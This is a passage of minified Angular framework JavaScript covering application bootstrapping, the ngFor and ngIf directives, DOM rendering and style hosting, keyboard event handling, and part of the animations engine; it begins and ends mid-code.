o,i=!0;n.subscribe(kt(r,s=>{const a=t(s);(i||!e(o,a))&&(i=!1,o=a,r.next(s))}))})}(),op()),this._injector=B(Kt)}get destroyed(){return this._destroyed}get injector(){return this._injector}bootstrap(n,r){const o=n instanceof Nm;if(!this._injector.get(Gd).done)throw!o&&function qn(e){const t=H(e)||be(e)||Re(e);return null!==t&&t.standalone}(n),new E(405,!1);let s;s=o?n:this._injector.get(Zr).resolveComponentFactory(n),this.componentTypes.push(s.componentType);const a=function ax(e){return e.isBoundToModule}(s)?void 0:this._injector.get(lr),c=s.create(st.NULL,[],r||s.selector,a),u=c.location.nativeElement,d=c.injector.get(OE,null);return d?.registerApplication(u),c.onDestroy(()=>{this.detachView(c.hostView),Va(this.components,c),d?.unregisterApplication(u)}),this._loadComponent(c),c}tick(){if(this._runningTick)throw new E(101,!1);try{this._runningTick=!0;for(let n of this._views)n.detectChanges()}catch(n){this.internalErrorHandler(n)}finally{this._runningTick=!1}}attachView(n){const r=n;this._views.push(r),r.attachToAppRef(this)}detachView(n){const r=n;Va(this._views,r),r.detachFromAppRef()}_loadComponent(n){this.attachView(n.hostView),this.tick(),this.components.push(n);const r=this._injector.get(FE,[]);[...this._bootstrapListeners,...r].forEach(o=>o(n))}ngOnDestroy(){if(!this._destroyed)try{this._destroyListeners.forEach(n=>n()),this._views.slice().forEach(n=>n.destroy())}finally{this._destroyed=!0,this._views=[],this._bootstrapListeners=[],this._destroyListeners=[]}}onDestroy(n){return this._destroyListeners.push(n),()=>Va(this._destroyListeners,n)}destroy(){if(this._destroyed)throw new E(406,!1);const n=this._injector;n.destroy&&!n.destroyed&&n.destroy()}get viewCount(){return this._views.length}warnIfDestroyed(){}static#e=this.\u0275fac=function(r){return new(r||e)};static#t=this.\u0275prov=V({token:e,factory:e.\u0275fac,providedIn:"root"})}return e})();function Va(e,t){const n=e.indexOf(t);n>-1&&e.splice(n,1)}const GE=new b("",{providedIn:"root",factory:()=>B(ln).handleError.bind(void 0)});function fx(){const e=B(ee),t=B(ln);return n=>e.runOutsideAngular(()=>t.handleError(n))}let hx=(()=>{class e{constructor(){this.zone=B(ee),this.applicationRef=B(cr)}initialize(){this._onMicrotaskEmptySubscription||(this._onMicrotaskEmptySubscription=this.zone.onMicrotaskEmpty.subscribe({next:()=>{this.zone.run(()=>{this.applicationRef.tick()})}}))}ngOnDestroy(){this._onMicrotaskEmptySubscription?.unsubscribe()}static#e=this.\u0275fac=function(r){return new(r||e)};static#t=this.\u0275prov=V({token:e,factory:e.\u0275fac,providedIn:"root"})}return e})();const Ex=jE(null,"core",[]);let _x=(()=>{class e{constructor(n){}static#e=this.\u0275fac=function(r){return new(r||e)(M(cr))};static#t=this.\u0275mod=Gn({type:e});static#n=this.\u0275inj=Cn({})}return e})(),uf=null;function df(){return uf}class zx{}const gn=new b("DocumentToken");function C_(e,t){t=encodeURIComponent(t);for(const n of e.split(";")){const r=n.indexOf("="),[o,i]=-1==r?[n,""]:[n.slice(0,r),n.slice(r+1)];if(o.trim()===t)return decodeURIComponent(i)}return null}class RF{constructor(t,n,r,o){this.$implicit=t,this.ngForOf=n,this.index=r,this.count=o}get first(){return 0===this.index}get last(){return this.index===this.count-1}get even(){return this.index%2==0}get odd(){return!this.even}}let S_=(()=>{class e{set ngForOf(n){this._ngForOf=n,this._ngForOfDirty=!0}set ngForTrackBy(n){this._trackByFn=n}get ngForTrackBy(){return this._trackByFn}constructor(n,r,o){this._viewContainer=n,this._template=r,this._differs=o,this._ngForOf=null,this._ngForOfDirty=!0,this._differ=null}set ngForTemplate(n){n&&(this._template=n)}ngDoCheck(){if(this._ngForOfDirty){this._ngForOfDirty=!1;const n=this._ngForOf;!this._differ&&n&&(this._differ=this._differs.find(n).create(this.ngForTrackBy))}if(this._differ){const n=this._differ.diff(this._ngForOf);n&&this._applyChanges(n)}}_applyChanges(n){const r=this._viewContainer;n.forEachOperation((o,i,s)=>{if(null==o.previousIndex)r.createEmbeddedView(this._template,new RF(o.item,this._ngForOf,-1,-1),null===s?void 0:s);else if(null==s)r.remove(null===i?void 0:i);else if(null!==i){const a=r.get(i);r.move(a,s),T_(a,o)}});for(let o=0,i=r.length;o<i;o++){const a=r.get(o).context;a.index=o,a.count=i,a.ngForOf=this._ngForOf}n.forEachIdentityChange(o=>{T_(r.get(o.currentIndex),o)})}static ngTemplateContextGuard(n,r){return!0}static#e=this.\u0275fac=function(r){return new(r||e)(L(Jt),L(hn),L(aa))};static#t=this.\u0275dir=gt({type:e,selectors:[["","ngFor","","ngForOf",""]],inputs:{ngForOf:"ngForOf",ngForTrackBy:"ngForTrackBy",ngForTemplate:"ngForTemplate"},standalone:!0})}return e})();function T_(e,t){e.context.$implicit=t.item}let wf=(()=>{class e{constructor(n,r){this._viewContainer=n,this._context=new OF,this._thenTemplateRef=null,this._elseTemplateRef=null,this._thenViewRef=null,this._elseViewRef=null,this._thenTemplateRef=r}set ngIf(n){this._context.$implicit=this._context.ngIf=n,this._updateView()}set ngIfThen(n){M_("ngIfThen",n),this._thenTemplateRef=n,this._thenViewRef=null,this._updateView()}set ngIfElse(n){M_("ngIfElse",n),this._elseTemplateRef=n,this._elseViewRef=null,this._updateView()}_updateView(){this._context.$implicit?this._thenViewRef||(this._viewContainer.clear(),this._elseViewRef=null,this._thenTemplateRef&&(this._thenViewRef=this._viewContainer.createEmbeddedView(this._thenTemplateRef,this._context))):this._elseViewRef||(this._viewContainer.clear(),this._thenViewRef=null,this._elseTemplateRef&&(this._elseViewRef=this._viewContainer.createEmbeddedView(this._elseTemplateRef,this._context)))}static ngTemplateContextGuard(n,r){return!0}static#e=this.\u0275fac=function(r){return new(r||e)(L(Jt),L(hn))};static#t=this.\u0275dir=gt({type:e,selectors:[["","ngIf",""]],inputs:{ngIf:"ngIf",ngIfThen:"ngIfThen",ngIfElse:"ngIfElse"},standalone:!0})}return e})();class OF{constructor(){this.$implicit=null,this.ngIf=null}}function M_(e,t){if(t&&!t.createEmbeddedView)throw new Error(`${e} must be a TemplateRef, but received '${_e(t)}'.`)}let i1=(()=>{class e{static#e=this.\u0275fac=function(r){return new(r||e)};static#t=this.\u0275mod=Gn({type:e});static#n=this.\u0275inj=Cn({})}return e})();function R_(e){return"server"===e}class O_{}class R1 extends zx{constructor(){super(...arguments),this.supportsDOMEvents=!0}}class Nf extends R1{static makeCurrent(){!function Ux(e){uf||(uf=e)}(new Nf)}onAndCancel(t,n,r){return t.addEventListener(n,r),()=>{t.removeEventListener(n,r)}}dispatchEvent(t,n){t.dispatchEvent(n)}remove(t){t.parentNode&&t.parentNode.removeChild(t)}createElement(t,n){return(n=n||this.getDefaultDocument()).createElement(t)}createHtmlDocument(){return document.implementation.createHTMLDocument("fakeTitle")}getDefaultDocument(){return document}isElementNode(t){return t.nodeType===Node.ELEMENT_NODE}isShadowRoot(t){return t instanceof DocumentFragment}getGlobalEventTarget(t,n){return"window"===n?window:"document"===n?t:"body"===n?t.body:null}getBaseHref(t){const n=function O1(){return Hi=Hi||document.querySelector("base"),Hi?Hi.getAttribute("href"):null}();return null==n?null:function x1(e){il=il||document.createElement("a"),il.setAttribute("href",e);const t=il.pathname;return"/"===t.charAt(0)?t:`/${t}`}(n)}resetBaseElement(){Hi=null}getUserAgent(){return window.navigator.userAgent}getCookie(t){return C_(document.cookie,t)}}let il,Hi=null,k1=(()=>{class e{build(){return new XMLHttpRequest}static#e=this.\u0275fac=function(r){return new(r||e)};static#t=this.\u0275prov=V({token:e,factory:e.\u0275fac})}return e})();const Af=new b("EventManagerPlugins");let L_=(()=>{class e{constructor(n,r){this._zone=r,this._eventNameToPlugin=new Map,n.forEach(o=>{o.manager=this}),this._plugins=n.slice().reverse()}addEventListener(n,r,o){return this._findPluginFor(r).addEventListener(n,r,o)}getZone(){return this._zone}_findPluginFor(n){let r=this._eventNameToPlugin.get(n);if(r)return r;if(r=this._plugins.find(i=>i.supports(n)),!r)throw new E(5101,!1);return this._eventNameToPlugin.set(n,r),r}static#e=this.\u0275fac=function(r){return new(r||e)(M(Af),M(ee))};static#t=this.\u0275prov=V({token:e,factory:e.\u0275fac})}return e})();class j_{constructor(t){this._doc=t}}const Pf="ng-app-id";let V_=(()=>{class e{constructor(n,r,o,i={}){this.doc=n,this.appId=r,this.nonce=o,this.platformId=i,this.styleRef=new Map,this.hostNodes=new Set,this.styleNodesInDOM=this.collectServerRenderedStyles(),this.platformIsServer=R_(i),this.resetHostNodes()}addStyles(n){for(const r of n)1===this.changeUsageCount(r,1)&&this.onStyleAdded(r)}removeStyles(n){for(const r of n)this.changeUsageCount(r,-1)<=0&&this.onStyleRemoved(r)}ngOnDestroy(){const n=this.styleNodesInDOM;n&&(n.forEach(r=>r.remove()),n.clear());for(const r of this.getAllStyles())this.onStyleRemoved(r);this.resetHostNodes()}addHost(n){this.hostNodes.add(n);for(const r of this.getAllStyles())this.addStyleToHost(n,r)}removeHost(n){this.hostNodes.delete(n)}getAllStyles(){return this.styleRef.keys()}onStyleAdded(n){for(const r of this.hostNodes)this.addStyleToHost(r,n)}onStyleRemoved(n){const r=this.styleRef;r.get(n)?.elements?.forEach(o=>o.remove()),r.delete(n)}collectServerRenderedStyles(){const n=this.doc.head?.querySelectorAll(`style[${Pf}="${this.appId}"]`);if(n?.length){const r=new Map;return n.forEach(o=>{null!=o.textContent&&r.set(o.textContent,o)}),r}return null}changeUsageCount(n,r){const o=this.styleRef;if(o.has(n)){const i=o.get(n);return i.usage+=r,i.usage}return o.set(n,{usage:r,elements:[]}),r}getStyleElement(n,r){const o=this.styleNodesInDOM,i=o?.get(r);if(i?.parentNode===n)return o.delete(r),i.removeAttribute(Pf),i;{const s=this.doc.createElement("style");return this.nonce&&s.setAttribute("nonce",this.nonce),s.textContent=r,this.platformIsServer&&s.setAttribute(Pf,this.appId),n.appendChild(s),s}}addStyleToHost(n,r){const o=this.getStyleElement(n,r),i=this.styleRef,s=i.get(r)?.elements;s?s.push(o):i.set(r,{elements:[o],usage:1})}resetHostNodes(){const n=this.hostNodes;n.clear(),n.add(this.doc.head)}static#e=this.\u0275fac=function(r){return new(r||e)(M(gn),M(js),M(Og,8),M(er))};static#t=this.\u0275prov=V({token:e,factory:e.\u0275fac})}return e})();const Rf={svg:"http://www.w3.org/2000/svg",xhtml:"http://www.w3.org/1999/xhtml",xlink:"http://www.w3.org/1999/xlink",xml:"http://www.w3.org/XML/1998/namespace",xmlns:"http://www.w3.org/2000/xmlns/",math:"http://www.w3.org/1998/MathML/"},Of=/%COMP%/g,B1=new b("RemoveStylesOnCompDestroy",{providedIn:"root",factory:()=>!0});function H_(e,t){return t.map(n=>n.replace(Of,e))}let xf=(()=>{class e{constructor(n,r,o,i,s,a,l,c=null){this.eventManager=n,this.sharedStylesHost=r,this.appId=o,this.removeStylesOnCompDestroy=i,this.doc=s,this.platformId=a,this.ngZone=l,this.nonce=c,this.rendererByCompId=new Map,this.platformIsServer=R_(a),this.defaultRenderer=new Ff(n,s,l,this.platformIsServer)}createRenderer(n,r){if(!n||!r)return this.defaultRenderer;this.platformIsServer&&r.encapsulation===Ct.ShadowDom&&(r={...r,encapsulation:Ct.Emulated});const o=this.getOrCreateRenderer(n,r);return o instanceof U_?o.applyToHost(n):o instanceof kf&&o.applyStyles(),o}getOrCreateRenderer(n,r){const o=this.rendererByCompId;let i=o.get(r.id);if(!i){const s=this.doc,a=this.ngZone,l=this.eventManager,c=this.sharedStylesHost,u=this.removeStylesOnCompDestroy,d=this.platformIsServer;switch(r.encapsulation){case Ct.Emulated:i=new U_(l,c,r,this.appId,u,s,a,d);break;case Ct.ShadowDom:return new z1(l,c,n,r,s,a,this.nonce,d);default:i=new kf(l,c,r,u,s,a,d)}o.set(r.id,i)}return i}ngOnDestroy(){this.rendererByCompId.clear()}static#e=this.\u0275fac=function(r){return new(r||e)(M(L_),M(V_),M(js),M(B1),M(gn),M(er),M(ee),M(Og))};static#t=this.\u0275prov=V({token:e,factory:e.\u0275fac})}return e})();class Ff{constructor(t,n,r,o){this.eventManager=t,this.doc=n,this.ngZone=r,this.platformIsServer=o,this.data=Object.create(null),this.throwOnSyntheticProps=!0,this.destroyNode=null}destroy(){}createElement(t,n){return n?this.doc.createElementNS(Rf[n]||n,t):this.doc.createElement(t)}createComment(t){return this.doc.createComment(t)}createText(t){return this.doc.createTextNode(t)}appendChild(t,n){($_(t)?t.content:t).appendChild(n)}insertBefore(t,n,r){t&&($_(t)?t.content:t).insertBefore(n,r)}removeChild(t,n){t&&t.removeChild(n)}selectRootElement(t,n){let r="string"==typeof t?this.doc.querySelector(t):t;if(!r)throw new E(-5104,!1);return n||(r.textContent=""),r}parentNode(t){return t.parentNode}nextSibling(t){return t.nextSibling}setAttribute(t,n,r,o){if(o){n=o+":"+n;const i=Rf[o];i?t.setAttributeNS(i,n,r):t.setAttribute(n,r)}else t.setAttribute(n,r)}removeAttribute(t,n,r){if(r){const o=Rf[r];o?t.removeAttributeNS(o,n):t.removeAttribute(`${r}:${n}`)}else t.removeAttribute(n)}addClass(t,n){t.classList.add(n)}removeClass(t,n){t.classList.remove(n)}setStyle(t,n,r,o){o&(An.DashCase|An.Important)?t.style.setProperty(n,r,o&An.Important?"important":""):t.style[n]=r}removeStyle(t,n,r){r&An.DashCase?t.style.removeProperty(n):t.style[n]=""}setProperty(t,n,r){null!=t&&(t[n]=r)}setValue(t,n){t.nodeValue=n}listen(t,n,r){if("string"==typeof t&&!(t=df().getGlobalEventTarget(this.doc,t)))throw new Error(`Unsupported event target ${t} for event ${n}`);return this.eventManager.addEventListener(t,n,this.decoratePreventDefault(r))}decoratePreventDefault(t){return n=>{if("__ngUnwrap__"===n)return t;!1===(this.platformIsServer?this.ngZone.runGuarded(()=>t(n)):t(n))&&n.preventDefault()}}}function $_(e){return"TEMPLATE"===e.tagName&&void 0!==e.content}class z1 extends Ff{constructor(t,n,r,o,i,s,a,l){super(t,i,s,l),this.sharedStylesHost=n,this.hostEl=r,this.shadowRoot=r.attachShadow({mode:"open"}),this.sharedStylesHost.addHost(this.shadowRoot);const c=H_(o.id,o.styles);for(const u of c){const d=document.createElement("style");a&&d.setAttribute("nonce",a),d.textContent=u,this.shadowRoot.appendChild(d)}}nodeOrShadowRoot(t){return t===this.hostEl?this.shadowRoot:t}appendChild(t,n){return super.appendChild(this.nodeOrShadowRoot(t),n)}insertBefore(t,n,r){return super.insertBefore(this.nodeOrShadowRoot(t),n,r)}removeChild(t,n){return super.removeChild(this.nodeOrShadowRoot(t),n)}parentNode(t){return this.nodeOrShadowRoot(super.parentNode(this.nodeOrShadowRoot(t)))}destroy(){this.sharedStylesHost.removeHost(this.shadowRoot)}}class kf extends Ff{constructor(t,n,r,o,i,s,a,l){super(t,i,s,a),this.sharedStylesHost=n,this.removeStylesOnCompDestroy=o,this.styles=l?H_(l,r.styles):r.styles}applyStyles(){this.sharedStylesHost.addStyles(this.styles)}destroy(){this.removeStylesOnCompDestroy&&this.sharedStylesHost.removeStyles(this.styles)}}class U_ extends kf{constructor(t,n,r,o,i,s,a,l){const c=o+"-"+r.id;super(t,n,r,i,s,a,l,c),this.contentAttr=function H1(e){return"_ngcontent-%COMP%".replace(Of,e)}(c),this.hostAttr=function $1(e){return"_nghost-%COMP%".replace(Of,e)}(c)}applyToHost(t){this.applyStyles(),this.setAttribute(t,this.hostAttr,"")}createElement(t,n){const r=super.createElement(t,n);return super.setAttribute(r,this.contentAttr,""),r}}let G1=(()=>{class e extends j_{constructor(n){super(n)}supports(n){return!0}addEventListener(n,r,o){return n.addEventListener(r,o,!1),()=>this.removeEventListener(n,r,o)}removeEventListener(n,r,o){return n.removeEventListener(r,o)}static#e=this.\u0275fac=function(r){return new(r||e)(M(gn))};static#t=this.\u0275prov=V({token:e,factory:e.\u0275fac})}return e})();const z_=["alt","control","meta","shift"],q1={"\b":"Backspace","\t":"Tab","\x7f":"Delete","\x1b":"Escape",Del:"Delete",Esc:"Escape",Left:"ArrowLeft",Right:"ArrowRight",Up:"ArrowUp",Down:"ArrowDown",Menu:"ContextMenu",Scroll:"ScrollLock",Win:"OS"},W1={alt:e=>e.altKey,control:e=>e.ctrlKey,meta:e=>e.metaKey,shift:e=>e.shiftKey};let K1=(()=>{class e extends j_{constructor(n){super(n)}supports(n){return null!=e.parseEventName(n)}addEventListener(n,r,o){const i=e.parseEventName(r),s=e.eventCallback(i.fullKey,o,this.manager.getZone());return this.manager.getZone().runOutsideAngular(()=>df().onAndCancel(n,i.domEventName,s))}static parseEventName(n){const r=n.toLowerCase().split("."),o=r.shift();if(0===r.length||"keydown"!==o&&"keyup"!==o)return null;const i=e._normalizeKey(r.pop());let s="",a=r.indexOf("code");if(a>-1&&(r.splice(a,1),s="code."),z_.forEach(c=>{const u=r.indexOf(c);u>-1&&(r.splice(u,1),s+=c+".")}),s+=i,0!=r.length||0===i.length)return null;const l={};return l.domEventName=o,l.fullKey=s,l}static matchEventFullKeyCode(n,r){let o=q1[n.key]||n.key,i="";return r.indexOf("code.")>-1&&(o=n.code,i="code."),!(null==o||!o)&&(o=o.toLowerCase()," "===o?o="space":"."===o&&(o="dot"),z_.forEach(s=>{s!==o&&(0,W1[s])(n)&&(i+=s+".")}),i+=o,i===r)}static eventCallback(n,r,o){return i=>{e.matchEventFullKeyCode(i,n)&&o.runGuarded(()=>r(i))}}static _normalizeKey(n){return"esc"===n?"escape":n}static#e=this.\u0275fac=function(r){return new(r||e)(M(gn))};static#t=this.\u0275prov=V({token:e,factory:e.\u0275fac})}return e})();const X1=jE(Ex,"browser",[{provide:er,useValue:"browser"},{provide:Pg,useValue:function Q1(){Nf.makeCurrent()},multi:!0},{provide:gn,useFactory:function Y1(){return function xS(e){Yc=e}(document),document},deps:[]}]),J1=new b(""),W_=[{provide:ja,useClass:class F1{addToWindow(t){re.getAngularTestability=(r,o=!0)=>{const i=t.findTestabilityInTree(r,o);if(null==i)throw new E(5103,!1);return i},re.getAllAngularTestabilities=()=>t.getAllTestabilities(),re.getAllAngularRootElements=()=>t.getAllRootElements(),re.frameworkStabilizers||(re.frameworkStabilizers=[]),re.frameworkStabilizers.push(r=>{const o=re.getAllAngularTestabilities();let i=o.length,s=!1;const a=function(l){s=s||l,i--,0==i&&r(s)};o.forEach(l=>{l.whenStable(a)})})}findTestabilityInTree(t,n,r){return null==n?null:t.getTestability(n)??(r?df().isShadowRoot(n)?this.findTestabilityInTree(t,n.host,!0):this.findTestabilityInTree(t,n.parentElement,!0):null)}},deps:[]},{provide:OE,useClass:Kd,deps:[ee,Qd,ja]},{provide:Kd,useClass:Kd,deps:[ee,Qd,ja]}],K_=[{provide:Gc,useValue:"root"},{provide:ln,useFactory:function Z1(){return new ln},deps:[]},{provide:Af,useClass:G1,multi:!0,deps:[gn,ee,er]},{provide:Af,useClass:K1,multi:!0,deps:[gn]},xf,V_,L_,{provide:Au,useExisting:xf},{provide:O_,useClass:k1,deps:[]},[]];let Q_=(()=>{class e{constructor(n){}static withServerTransition(n){return{ngModule:e,providers:[{provide:js,useValue:n.appId}]}}static#e=this.\u0275fac=function(r){return new(r||e)(M(J1,12))};static#t=this.\u0275mod=Gn({type:e});static#n=this.\u0275inj=Cn({providers:[...K_,...W_],imports:[i1,_x]})}return e})();typeof window<"u"&&window;const vn="*";function sk(e,t){return{type:7,name:e,definitions:t,options:{}}}function J_(e,t=null){return{type:4,styles:t,timings:e}}function $i(e){return{type:6,styles:e,offset:null}}function ew(e,t,n=null){return{type:1,expr:e,animation:t,options:n}}function tw(e,t,n=null){return{type:11,selector:e,animation:t,options:n}}function nw(e,t){return{type:12,timings:e,animation:t}}class Ui{constructor(t=0,n=0){this._onDoneFns=[],this._onStartFns=[],this._onDestroyFns=[],this._originalOnDoneFns=[],this._originalOnStartFns=[],this._started=!1,this._destroyed=!1,this._finished=!1,this._position=0,this.parentPlayer=null,this.totalTime=t+n}_onFinish(){this._finished||(this._finished=!0,this._onDoneFns.forEach(t=>t()),this._onDoneFns=[])}onStart(t){this._originalOnStartFns.push(t),this._onStartFns.push(t)}onDone(t){this._originalOnDoneFns.push(t),this._onDoneFns.push(t)}onDestroy(t){this._onDestroyFns.push(t)}hasStarted(){return this._started}init(){}play(){this.hasStarted()||(this._onStart(),this.triggerMicrotask()),this._started=!0}triggerMicrotask(){queueMicrotask(()=>this._onFinish())}_onStart(){this._onStartFns.forEach(t=>t()),this._onStartFns=[]}pause(){}restart(){}finish(){this._onFinish()}destroy(){this._destroyed||(this._destroyed=!0,this.hasStarted()||this._onStart(),this.finish(),this._onDestroyFns.forEach(t=>t()),this._onDestroyFns=[])}reset(){this._started=!1,this._finished=!1,this._onStartFns=this._originalOnStartFns,this._onDoneFns=this._originalOnDoneFns}setPosition(t){this._position=this.totalTime?t*this.totalTime:1}getPosition(){return this.totalTime?this._position/this.totalTime:1}triggerCallback(t){const n="start"==t?this._onStartFns:this._onDoneFns;n.forEach(r=>r()),n.length=0}}class rw{constructor(t){this._onDoneFns=[],this._onStartFns=[],this._finished=!1,this._started=!1,this._destroyed=!1,this._onDestroyFns=[],this.parentPlayer=null,this.totalTime=0,this.players=t;let n=0,r=0,o=0;const i=this.players.length;0==i?queueMicrotask(()=>this._onFinish()):this.players.forEach(s=>{s.onDone(()=>{++n==i&&this._onFinish()}),s.onDestroy(()=>{++r==i&&this._onDestroy()}),s.onStart(()=>{++o==i&&this._onStart()})}),this.totalTime=this.players.reduce((s,a)=>Math.max(s,a.totalTime),0)}_onFinish(){this._finished||(this._finished=!0,this._onDoneFns.forEach(t=>t()),this._onDoneFns=[])}init(){this.players.forEach(t=>t.init())}onStart(t){this._onStartFns.push(t)}_onStart(){this.hasStarted()||(this._started=!0,this._onStartFns.forEach(t=>t()),this._onStartFns=[])}onDone(t){this._onDoneFns.push(t)}onDestroy(t){this._onDestroyFns.push(t)}hasStarted(){return this._started}play(){this.parentPlayer||this.init(),this._onStart(),this.players.forEach(t=>t.play())}pause(){this.players.forEach(t=>t.pause())}restart(){this.players.forEach(t=>t.restart())}finish(){this._onFinish(),this.players.forEach(t=>t.finish())}destroy(){this._onDestroy()}_onDestroy(){this._destroyed||(this._destroyed=!0,this._onFinish(),this.players.forEach(t=>t.destroy()),this._onDestroyFns.forEach(t=>t()),this._onDestroyFns=[])}reset(){this.players.forEach(t=>t.reset()),this._destroyed=!1,this._finished=!1,this._started=!1}setPosition(t){const n=t*this.totalTime;this.players.forEach(r=>{const o=r.totalTime?Math.min(1,n/r.totalTime):1;r.setPosition(o)})}getPosition(){const t=this.players.reduce((n,r)=>null===n||r.totalTime>n.totalTime?r:n,null);return null!=t?t.getPosition():0}beforeDestroy(){this.players.forEach(t=>{t.beforeDestroy&&t.beforeDestroy()})}triggerCallback(t){const n="start"==t?this._onStartFns:this._onDoneFns;n.forEach(r=>r()),n.length=0}}function ow(e){return new E(3e3,!1)}function Ln(e){switch(e.length){case 0:return new Ui;case 1:return e[0];default:return new rw(e)}}function iw(e,t,n=new Map,r=new Map){const o=[],i=[];let s=-1,a=null;if(t.forEach(l=>{const c=l.get("offset"),u=c==s,d=u&&a||new Map;l.forEach((f,h)=>{let p=h,g=f;if("offset"!==h)switch(p=e.normalizePropertyName(p,o),g){case"!":g=n.get(h);break;case vn:g=r.get(h);break;default:g=e.normalizeStyleValue(h,p,g,o)}d.set(p,g)}),u||i.push(d),a=d,s=c}),o.length)throw function Ok(e){return new E(3502,!1)}();return i}function Vf(e,t,n,r){switch(t){case"start":e.onStart(()=>r(n&&Bf(n,"start",e)));break;case"done":e.onDone(()=>r(n&&Bf(n,"done",e)));break;case"destroy":e.onDestroy(()=>r(n&&Bf(n,"destroy",e)))}}function Bf(e,t,n){const i=Hf(e.element,e.triggerName,e.fromState,e.toState,t||e.phaseName,n.totalTime??e.totalTime,!!n.disabled),s=e._data;return null!=s&&(i._data=s),i}function Hf(e,t,n,r,o="",i=0,s){return{element:e,triggerName:t,fromState:n,toState:r,phaseName:o,totalTime:i,disabled:!!s}}function dt(e,t,n){let r=e.get(t);return r||e.set(t,r=n),r}function sw(e){const t=e.indexOf(":");return[e.substring(1,t),e.slice(t+1)]}const Gk=(()=>typeof document>"u"?null:document.documentElement)();function $f(e){const t=e.parentNode||e.host||null;return t===Gk?null:t}let dr=null,aw=!1;function lw(e,t){for(;t;){if(t===e)return!0;t=$f(t)}return!1}function cw(e,t,n){if(n)return Array.from(e.querySelectorAll(t));const r=e.querySelector(t);return r?[r]:[]}let Uf=(()=>{class e{validateStyleProperty(n){return function Wk(e){dr||(dr=function Kk(){return typeof document<"u"?document.body:null}()||{},aw=!!dr.style&&"WebkitAppearance"in dr.style);let t=!0;return dr.style&&!function qk(e){return"ebkit"==e.substring(1,6)}(e)&&(t=e in dr.style,!t&&aw&&(t="Webkit"+e.charAt(0).toUpperCase()+e.slice(1)in dr.style)),t}(n)}matchesElement(n,r){return!1}containsElement(n,r){return lw(n,r)}getParentElement(n){return $f(n)}query(n,r,o){return cw(n,r,o)}computeStyle(n,r,o){return o||""}animate(n,r,o,i,s,a=[],l){return new Ui(o,i)}static#e=this.\u0275fac=function(r){return new(r||e)};static#t=this.\u0275prov=V({token:e,factory:e.\u0275fac})}return e})(),zf=(()=>{class e{static#e=this.NOOP=new Uf}return e})();class Gf{}const Zk=1e3,qf="ng-enter",sl="ng-leave",al="ng-trigger",ll=".ng-trigger",dw="ng-animating",Wf=".ng-animating";function Dn(e){if("number"==typeof e)return e;const t=e.match(/^(-?[\.\d]+)(m?s)/);return!t||t.length<2?0:Kf(parseFloat(t[1]),t[2])}function Kf(e,t){return"s"===t?e*Zk:e}function cl(e,t,n){return e.hasOwnProperty("duration")?e:function Xk(e,t,n){let o,i=0,s="";if("string"==typeof e){const a=e.match(/^(-?[\.\d]+)(m?s)(?:\s+(-?[\.\d]+)(m?s))?(?:\s+([-a-z]+(?:\(.+?\))?))?$/i);if(null===a)return t.push(ow()),{duration:0,delay:0,easing:""};o=Kf(parseFloat(a[1]),a[2]);const l=a[3];null!=l&&(i=Kf(parseFloat(l),a[4]));const c=a[5];c&&(s=c)}else o=e;if(!n){let a=!1,l=t.length;o<0&&(t.push(function dk(){return new E(3100,!1)}()),a=!0),i<0&&(t.push(function fk(){return new E(3101,!1)}()),a=!0),a&&t.splice(l,0,ow())}return{duration:o,delay:i,easing:s}}(e,t,n)}function zi(e,t={}){return Object.keys(e).forEach(n=>{t[n]=e[n]}),t}function fw(e){const t=new Map;return Object.keys(e).forEach(n=>{t.set(n,e[n])}),t}function jn(e,t=new Map,n){if(n)for(let[r,o]of n)t.set(r,o);for(let[r,o]of e)t.set(r,o);return t}function en(e,t,n){t.forEach((r,o)=>{const i=Zf(o);n&&!n.has(o)&&n.set(o,e.style[i]),e.style[i]=r})}function fr(e,t){t.forEach((n,r)=>{const o=Zf(r);e.style[o]=""})}function Gi(e){return Array.isArray(e)?1==e.length?e[0]:function ak(e,t=null){return{type:2,steps:e,options:t}}(e):e}const Qf=new RegExp("{{\\s*(.+?)\\s*}}","g");function pw(e){let t=[];if("string"==typeof e){let n;for(;n=Qf.exec(e);)t.push(n[1]);Qf.lastIndex=0}return t}function qi(e,t,n){const r=e.toString(),o=r.replace(Qf,(i,s)=>{let a=t[s];return null==a&&(n.push(function pk(e){return new E(3003,!1)}()),a=""),a.toString()});return o==r?e:o}function ul(e){const t=[];let n=e.next();for(;!n.done;)t.push(n.value),n=e.next();return t}const tL=/-+([a-z0-9])/g;function Zf(e){return e.replace(tL,(...t)=>t[1].toUpperCase())}function ft(e,t,n){switch(t.type){case 7:return e.visitTrigger(t,n);case 0:return e.visitState(t,n);case 1:return e.visitTransition(t,n);case 2:return e.visitSequence(t,n);case 3:return e.visitGroup(t,n);case 4:return e.visitAnimate(t,n);case 5:return e.visitKeyframes(t,n);case 6:return e.visitStyle(t,n);case 8:return e.visitReference(t,n);case 9:return e.visitAnimateChild(t,n);case 10:return e.visitAnimateRef(t,n);case 11:return e.visitQuery(t,n);case 12:return e.visitStagger(t,n);default:throw function gk(e){return new E(3004,!1)}()}}function gw(e,t){return window.getComputedStyle(e)[t]}const oL=new Set(["width","height","minWidth","minHeight","maxWidth","maxHeight","left","top","bottom","right","fontSize","outlineWidth","outlineOffset","paddingTop","paddingLeft","paddingBottom","paddingRight","marginTop","marginLeft","marginBottom","marginRight","borderRadius","borderWidth","borderTopWidth","borderLeftWidth","borderRightWidth","borderBottomWidth","textIndent","perspective"]);class mw extends Gf{normalizePropertyName(t,n){return Zf(t)}normalizeStyleValue(t,n,r,o){let i="";const s=r.toString().trim();if(oL.has(n)&&0!==r&&"0"!==r)if("number"==typeof r)i="px";else{const a=r.match(/^[+-]?[\d\.]+([a-z]*)$/);a&&0==a[1].length&&o.push(function mk(e,t){return new E(3005,!1)}())}return s+i}}const dl="*";function iL(e,t){const n=[];return"string"==typeof e?e.split(/\s*,\s*/).forEach(r=>function sL(e,t,n){if(":"==e[0]){const l=function aL(e,t){switch(e){case":enter":return"void => *";case":leave":return"* => void";case":increment":return(n,r)=>parseFloat(r)>parseFloat(n);case":decrement":return(n,r)=>parseFloat(r)<parseFloat(n);default:return t.push(function Nk(e){return new E(3016,!1)}()),"* => *"}}(e,n);if("function"==typeof l)return void t.push(l);e=l}const r=e.match(/^(\*|[-\w]+)\s*(<?[=-]>)\s*(\*|[-\w]+)$/);if(null==r||r.length<4)return n.push(function Mk(e){return new E(3015,!1)}()),t;const o=r[1],i=r[2],s=r[3];t.push(yw(o,s));"<"==i[0]&&!(o==dl&&s==dl)&&t.push(yw(s,o))}(r,n,t)):n.push(e),n}const fl=new Set(["true","1"]),hl=new Set(["false","0"]);function yw(e,t){const n=fl.has(e)||hl.has(e),r=fl.has(t)||hl.has(t);return(o,i)=>{let 